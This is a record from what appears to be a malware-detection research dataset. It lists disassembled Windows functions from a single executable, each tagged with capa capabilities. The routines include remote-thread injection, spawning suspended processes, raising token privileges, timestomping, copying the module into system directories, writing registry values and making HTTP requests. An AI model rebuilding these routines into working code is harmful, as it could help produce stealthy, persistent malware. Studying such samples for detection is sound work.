joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40beec
Capabilities:
Check http status code
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp dword [ebp + 8], ebx
push edi
mov byte [ebp - 1], bl
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
je 0x40c015
cmp dword [ebp + 0xc], ebx
je 0x40c015
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x40c015
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
shl eax, 1
push eax
push 8
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [ebp - 8]
mov edi, eax
push ebx
push edi
call fcn.0040f4d4
add esp, 0xc
lea eax, [ebp - 8]
push ebx
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlA]
push edi
call fcn.0040bc93
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x40bf83
xor al, al
jmp 0x40c059
mov ax, word [esi + 0x18]
cmp ax, bx
je 0x40bf91
movzx eax, ax
jmp 0x40bf94
push 0x50
pop eax
push ebx
push ebx
push 3
push ebx
push ebx
push eax
push dword [esi + 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x40c018
push ebx
push 0x44000100
push ebx
push ebx
push ebx
push dword [esi + 0x2c]
push 0x402e8c
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x40c018
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0xffffffffffffffff
push 0x403aac
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x40c018
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x18]
push eax
push 0x20000013
push dword [ebp - 0xc]
mov dword [ebp - 8], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x18], 0xc8
jne 0x40c018
mov byte [ebp - 1], 1
jmp 0x40c018
mov edi, dword [ebp + 8]
push esi
call fcn.0040bd40
cmp edi, ebx
pop ecx
je 0x40c032
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0xc], ebx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x40c042
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 0x10], ebx
je 0x40c04c
push dword [ebp - 0x10]
call esi
cmp dword [ebp - 0x14], ebx
je 0x40c056
push dword [ebp - 0x14]
call esi
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c2ca
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
mov dword [ebp - 4], esi
call fcn.0040cec3
test al, al
lea eax, [ebp - 4]
push eax
push 4
push esi
jne 0x40c30c
push 0x403afc
push 0x401654
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0040b0d9
pop ecx
pop ecx
push eax
push esi
push esi
push dword [ebp + 8]
call fcn.00407f23
add esp, 0x1c
jmp 0x40c337
push dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
jne 0x40c337
push dword [ebp + 8]
call fcn.0040c26a
cmp eax, esi
pop ecx
jne 0x40c337
push dword [ebp + 8]
call fcn.0040c1d0
pop ecx
pop esi
leave
ret

Function at 0x40c383
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
push edi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
je 0x40c4d1
cmp dword [esi + 0x3c], ebx
je 0x40c4d1
cmp dword [esi + 0x248], ebx
je 0x40c4d1
cmp byte [ebp + 0x14], bl
je 0x40c412
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x58]
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x18], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov dword [ebp - 0x30], eax
mov word [ebp - 0x2c], ax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
lea eax, [esi + 0x144]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40c40b
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
jmp 0x40c463
push 2
jmp 0x40c4d3
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jne 0x40c440
lea eax, [esi + 0x144]
push eax
call fcn.0040d298
pop ecx
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
jne 0x40c440
push 3
jmp 0x40c4d3
cmp dword [ebp + 0x10], ebx
jne 0x40c463
push ebx
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call fcn.0040c2ca
pop ecx
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, ebx
je 0x40c4cd
cmp dword [ebp + 0x10], ebx
je 0x40c4cd
push dword [esi + 0x3c]
push edi
call fcn.0040abe7
pop ecx
cmp eax, ebx
pop ecx
jne 0x40c485
push 6
jmp 0x40c4d3
push eax
push esi
push dword [ebp + 0x10]
push edi
call fcn.0040c05e
add esp, 0x10
test al, al
jne 0x40c49b
push 7
jmp 0x40c4d3
cmp dword [ebp - 4], ebx
je 0x40c4c2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
call fcn.0040c33a
test al, al
jne 0x40c4b9
mov dword [ebp - 8], 8
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 8]
jmp 0x40c4d4
push 5
jmp 0x40c4d3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c7bb
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and word [ebp - 0x14], 0
push ebx
push edi
xor eax, eax
lea edi, [ebp - 0x12]
mov ebx, dword [0x403b84]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
push dword [ebp + 0xc]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
or edi, 0xffffffff
push eax
call fcn.0040f4ac
add esp, 0xc
push dword [ebp - 0x10]
call sub.WS2_32.dll_inet_ntoa
push eax
mov eax, dword [0x41252c]
push dword [eax + 0x28]
call fcn.004096b4
pop ecx
test eax, eax
pop ecx
je 0x40c885
push esi
push 0x7f000001
call sub.WS2_32.dll_htonl
push 0x8359
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call sub.WS2_32.dll_htons
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [ebp + 0xc]
call fcn.0040f4ac
add esp, 0xc
and dword [ebp - 4], 0
lea eax, [ebp - 4]
mov esi, 0x8004667e
push eax
push esi
push dword [ebp + 8]
call sub.WS2_32.dll_ioctlsocket
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [ebp + 8]
call ebx
mov edi, eax
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 4], 1
call sub.WS2_32.dll_ioctlsocket
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 0xffffffff
pop esi
jne 0x40c885
call sub.WS2_32.dll_WSAGetLastError
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x40cd1c
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40cdad
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push 0
push 0
push 3
push dword [ebp - 4]
call edi
push dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push 3
push dword [ebp - 4]
call edi
xor edi, edi
xor ecx, ecx
cmp dword [esi], edi
jbe 0x40cd8e
lea eax, [esi + 0xc]
mov dword [eax], 2
inc ecx
add eax, 0xc
cmp ecx, dword [esi]
jb 0x40cd80
push edi
push edi
push edi
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x40cdad
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x40cdb1
xor al, al
jmp 0x40cdc2
cmp esi, edi
je 0x40cdc0
push esi
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cdeb
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push dword [esp + 0xc]
xor edi, edi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x40ce14
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x40ce19
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push esi
push edi
push 0x24
xor eax, eax
pop ecx
lea edi, [ebp - 0x90]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x94]
or esi, 0xffffffff
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x84], 0
je 0x40cebd
cmp dword [ebp - 0x84], 2
mov edx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x90]
jne 0x40ce97
cmp ecx, 4
ja 0x40ce71
push 6
pop esi
cmp ecx, 5
jne 0x40ce8f
mov eax, edx
sub eax, 0
je 0x40ce8c
dec eax
je 0x40ce87
dec eax
jne 0x40cebd
push 7
jmp 0x40ce89
push 5
pop esi
jmp 0x40cebd
push 4
pop esi
cmp ecx, 6
jne 0x40cebd
push 8
pop esi
cmp dword [ebp - 0x84], 1
jne 0x40cebd
cmp ecx, 4
jne 0x40cebd
test edx, edx
je 0x40cebb
cmp edx, 0xa
je 0x40ceb7
cmp edx, 0x5a
jne 0x40cebd
push 3
jmp 0x40ce89
push 1
jmp 0x40ce89
xor esi, esi
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x40cfe8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x40d05f
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d058
mov esi, dword [ebp + 8]
cmp dword [ebp - 0x120], esi
je 0x40d03c
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40d058
jmp 0x40d021
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 0xc]
jmp 0x40d061
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x40d0fe
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x40d19d
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d196
lea eax, [ebp - 0x104]
push eax
call fcn.0040dffe
pop ecx
push eax
push dword [ebp + 8]
call fcn.0040dffe
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop ecx
push eax
call esi
test eax, eax
je 0x40d187
lea eax, [ebp - 0x128]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40d196
lea eax, [ebp - 0x104]
push eax
call fcn.0040dffe
pop ecx
push eax
push dword [ebp + 8]
call fcn.0040dffe
pop ecx
push eax
jmp 0x40d156
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x120]
jmp 0x40d19f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40d767
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x40d781
Capabilities:
Create process on windows
Enumerate files on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
push 0x4f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x398]
mov dword [ebp - 0x39c], ebx
push 0x40
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x25b]
mov byte [ebp - 0x25c], bl
rep stosd dword es:[edi], eax
cmp byte [ebp + 8], bl
push 0x104
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x25c]
push eax
je 0x40d7e5
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40d7eb
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x158]
push 0x403d48
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x39c]
push eax
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x370]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x158]
push 0x403d40
push eax
call esi
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x50]
push 0x44
pop edx
push 0x10
mov dword [ebp - 0x54], edx
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x158]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40d885
lea eax, [ebp - 0x39c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40d88f
jmp 0x40d820
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x158]
push eax
call fcn.0040f06b
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d8a1
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x30b]
mov byte [ebp - 0x30c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
push esi
call fcn.0040ef9e
push 0x7a
push 0x61
call fcn.0040efc6
add esp, 0xc
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x208]
push 0x403d54
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x30c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push ebx
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
push ebx
call fcn.0040f008
push dword [ebp + 8]
push eax
call fcn.0040f008
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40dced
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
cmp edi, ebx
jne 0x40dd37
lea eax, [ebp - 0x104]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0x104]
cmp dword [ebp + 0xc], ebx
jne 0x40dd4a
push ebx
push ebx
push edi
call fcn.0040deab
add esp, 0xc
mov dword [ebp + 0xc], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
push edi
call esi
test eax, eax
jne 0x40dd77
cmp dword [ebp + 8], 5
jge 0x40dd77
inc dword [ebp + 8]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push dword [ebp + 0xc]
push edi
jmp 0x40dd59
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
pop esi
jne 0x40dd8a
xor al, al
jmp 0x40dda1
cmp byte [ebp + 0x10], bl
je 0x40dd9f
push dword [ebp + 0xc]
push dword [0x403764]
call fcn.0040e15e
pop ecx
pop ecx
mov al, 1
pop edi
pop ebx
leave
ret
Function at 0x40dda5
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [ebp + 0xc], 0
jne 0x40ddcf
lea eax, [ebp - 0x208]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x208]
mov dword [ebp + 0xc], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
push esi
call fcn.0040ef9e
pop ecx
push dword [ebp + 0x10]
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
mov ebx, 0x403d64
push eax
lea eax, [ebp - 0x104]
push dword [0x403790]
push dword [ebp + 0xc]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0x20
lea eax, [ebp - 0x104]
push eax
call edi
cmp eax, 0xffffffff
je 0x40de93
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x10]
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.0040efc6
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x104]
push dword [0x403790]
push dword [ebp + 0xc]
push ebx
push eax
call esi
add esp, 0x20
lea eax, [ebp - 0x104]
push eax
jmp 0x40de3e
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40deab
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x104], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
and byte [ebp - 0x208], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
cmp byte [ebp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
lea eax, [ebp - 0x104]
push 0x104
push eax
je 0x40defe
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40df04
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp + 8]
mov byte [ebp + eax - 0x104], 0x5c
call fcn.0040dffe
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0xc], 0
je 0x40df4b
lea eax, [ebp - 0x208]
push 0x2e
push eax
call fcn.0040f444
pop ecx
test eax, eax
pop ecx
je 0x40df4b
push 4
push dword [ebp + 0xc]
push eax
call fcn.0040f4ac
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x104]
push eax
call fcn.0040f06b
pop ecx
leave
ret
Function at 0x40e15e
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x14]
mov dword [ebp - 0x18], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp dword [ebp + 8], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
je 0x40e214
cmp dword [ebp + 0xc], esi
je 0x40e214
push 1
push esi
push dword [ebp + 8]
call fcn.0040deab
push esi
push esi
push dword [ebp + 0xc]
mov edi, eax
call fcn.0040deab
add esp, 0x18
mov dword [ebp + 0xc], eax
push esi
push esi
push 3
push esi
push 3
push 0x80000000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
call edi
push esi
push esi
push 3
push esi
push 3
push 0x40000000
push dword [ebp + 0xc]
mov dword [ebp + 8], eax
call edi
cmp dword [ebp + 8], 0xffffffff
mov edi, eax
je 0x40e214
cmp edi, 0xffffffff
je 0x40e214
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40e214
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x40e2ff
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push edi
xor edx, edx
xor eax, eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], edx
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x58], 0x44
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
mov byte [ebp - 1], dl
push eax
lea eax, [ebp - 0x58]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
mov dword [ebp - 0x2c], 1
push dword [ebp + 8]
mov word [ebp - 0x28], 1
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x40e367
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
mov byte [ebp - 1], 1
call esi
push dword [ebp - 0x14]
call esi
pop esi
mov al, byte [ebp - 1]
leave
ret

Function at 0x40e419
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
call fcn.0040bc93
mov esi, eax
pop ecx
push dword [esi + 0x10]
call sub.WS2_32.dll_gethostbyname
push esi
mov edi, eax
call fcn.0040bd40
test edi, edi
pop ecx
je 0x40e478
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40e478
mov eax, dword [eax]
push 4
mov eax, dword [eax]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
call fcn.0040f4ac
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_inet_ntoa
push dword [ebp + 8]
call sub.WS2_32.dll_inet_ntoa
push eax
call fcn.0040f06b
pop ecx
jmp 0x40e47a
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40e5cd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp + 8]
push edi
push eax
xor ebx, ebx
push 1
push ebx
or edi, 0xffffffff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e643
push esi
lea eax, [ebp - 4]
push dword [ebp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], ebx
mov dword [ebp + 0xc], ebx
push dword [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, ebx
je 0x40e639
cmp dword [ebp + 0xc], 5
jge 0x40e639
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x18]
inc dword [ebp + 0xc]
lea eax, [ebp - 4]
push dword [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
jmp 0x40e60d
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
cmp edi, ebx
pop edi
sete al
pop ebx
leave
ret

Function at 0x40e64c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push edi
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
or edi, 0xffffffff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40e6c3
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x1c]
mov dword [ebp + 0xc], ebx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, ebx
je 0x40e6b9
cmp dword [ebp + 0xc], 5
jge 0x40e6b9
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
inc dword [ebp + 0xc]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
jmp 0x40e68e
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
cmp edi, ebx
pop edi
sete al
pop ebx
pop ebp
ret